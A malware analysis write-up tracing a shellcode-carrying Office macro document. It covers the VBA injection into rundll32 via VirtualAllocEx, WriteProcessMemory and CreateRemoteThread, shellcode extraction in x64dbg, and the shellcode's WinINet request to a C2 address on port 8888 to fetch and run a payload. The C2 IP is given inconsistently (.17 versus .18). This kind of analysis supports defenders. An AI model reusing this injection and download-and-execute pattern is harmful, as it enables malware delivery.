Maldocs and shellcode

By Filip Olszak
This is a continuation of the Maldocs payload extraction post, with a deeper dive into one particular shellcode-enabled document.
In the previous post we looked into a few quick wins for dynamic payload extraction from Office maldocs, using the Office VBA editor, x64dbg and AMSI. While these techniques together with static code review should be sufficient when working with most samples, many exceptions can make the analysis a bit more demanding— one such exception is shellcode.
 Analyzing the macro
We can find malicious documents leveraging shellcode using the below VirusTotal query:
type:doc p:10+ code injection
In my search this "50.doc" stood out the most with 33 vendors flagging it as malicious. The document contains several VBA modules, and in one we quickly find what appears to be a shellcode array.
Keeping in mind that it may or may not be stored in an XOR’ed / encrypted form, any attempt at conversion and extraction through VBA scripting would have to be done after decryption routines have ran. Instead we are going to take a shortcut and use x64dbg with Process Hacker later on to grab the instructions directly from target memory segment.
Another thing we notice is that the sample references 4 WinAPIs it is going to use to accomplish the injection.
Each function receives a VBA function alias which will be used later in the code to perform the associated API call.
kernel32_CreateRemoteThread    CreateStuff
kernel32_VirtualAllocEx        AllocStuff
kernel32_WriteProcessMemory    WriteStuff
kernel32_CreateProcessA        RunStuff
The first call — to RunStuff (CreateProcessA) takes variable a sProc for command line of the new process. Contents of sProc are heavily obfuscated, but placing a break point on the next instruction and running the module will allow us to read the clear-text command line, which is either
C:\Windows\SysWOW64\rundll32.exe
or
C:\Windows\System32\rundll32.exe
depending on the system architecture. 
This is going to be the process where a new PAGE_EXECUTE_READWRITE memory segment will be allocated, as indicated by the 0x40 memory protection constant passed to VirtualAllocEx.
Next a For loop is used to iterate through the discovered array of bytes, passing those one by one over to WriteProcessMemory, and CreateRemoteThread is used to initiate execution of the shellcode.
Shellcode extraction
We now have enough intel to  set a breakpoint on calls to kernel32_WriteProcessMemory, in order to identify the newly allocated memory segment where the shellcode is about to get populated.
 After reaching the call and consulting MSDOCS we know that the RDX register holds a pointer to the lpBaseAddress which is the beginning of our shellcode memory page — 0x2e80000.
 We can also confirm that WINWORD.EXE has already spawned rundll32.exe in a suspended state.
Browsing through memory pages of that process, the page at 0x2e80000 clearly sticks out with it’s Private: Commit allocation type and RWX protection.
Looking at the memory contents of that region, it contains our first hex byte \xFC.
At this point we have successfully identified the memory space where the shellcode will be written.
We can now disable the breakpoint on kernel32_WriteProcessMemory, and add a new breakpoint on kernel32_CreateRemoteThread. The execution can then be resumed to let the malware copy over all of the assembly.
We can already see some interesting strings in the raw contents
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
10.1.198.17
Process Hacker allows us to save the identified memory segment, which we can further reverse and debug.
Looking up the IP address on VT confirms it is indeed known for getting comms from several maldocs — including our 50.doc.
Shellcode is usually a bit of position-independent code, expected to be able to successfully accomplish it’s tasks, regardless of where in memory it resides. To make the debugging easier, we want to add this machine code to some sort of a shellcode harness, converting it into a PE will greatly increase the amount of tools we can use.
After we have the executable ready, we can drop it into x64dbg.
At the very beginning of the code we notice multiple instructions that are very typical of memory position-independent malware referencing structures stored at known relative offsets — first the Thread Information Block (TIB) structure (FS/GS segment register) to get address of the Process Environmental Block (PEB) at offset +0x30, and later other structures needed for things like dynamically loading libraries.
0x00c _PEB_LDR_DATA* Ldr;
0x014 void* SubSystemData;
0x028 DWORD EnvironmentUpdateCount;
 We then go through decryption routines loading our strings — like the file system path to the process image, names of WinAPI and libc functions.
C:\Users\admin\Desktop\Memory.exe
TermsrvGetWindowsDirectoryW
wcstoul
wcstombs
wcsspn
wcsrchr
wcspbrk
wsccpy_s
LoadLibraryA
wininet
 Finally we see it loading wininet by jumping to LoadLibraryA address held in EAX.
 Later on the same loader function is used to initialize use of WinINet by calling wininet.InternetOpenA, and open an HTTP comms channel with our C2, over remote TCP8888 (InternetConnectA).
void InternetConnectA(   
    HINTERNET     hInternet == 4, //wininet instance handle
    LPCSTR        lpszServerName == 10.1.198.18,  
    INTERNET_PORT nServerPort == 22B8, 
    DWORD         dwService == 3, 
);
 From a call to wininet.HttpOpenRequestA we learn that it requests the /OOmQ path, and a call to wininet.HttpSendRequestA uses the User-Agent string found earlier.
void HttpOpenRequestA( 
    HINTERNET hConnect == 8,
    LPCSTR lpszObjectName == "/OOmQ", 
);
​
BOOLAPI HttpSendRequestA(   
    HINTERNET hRequest == 00CC000C,   
    LPCSTR    lpszHeaders == "User-Agent: Mozilla/5.0 ...",   
    DWORD     dwHeadersLength == FFFFFFFF,
);
If the request to hxxp://10.1.198.17:8888/OOmQ times out, the process exits kernel32.ExitProcess.
We are not going to attempt analysis of that file, but if we wanted to further investigate what the shellcode is doing with it, we can serve our own PE file on this address, and see how it’s processed by the shellcode.
To do this we can use Fiddler AutoResponder conditional rules and a random EXE.
The file is requested and returned to the shellcode process
VirtualAlloc allocates new memory region with RWX protection. The same region then receives the remote file from wininet.InternetReadFile.
And all is clear
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Maldocs payload extraction
Last modified 1mo ago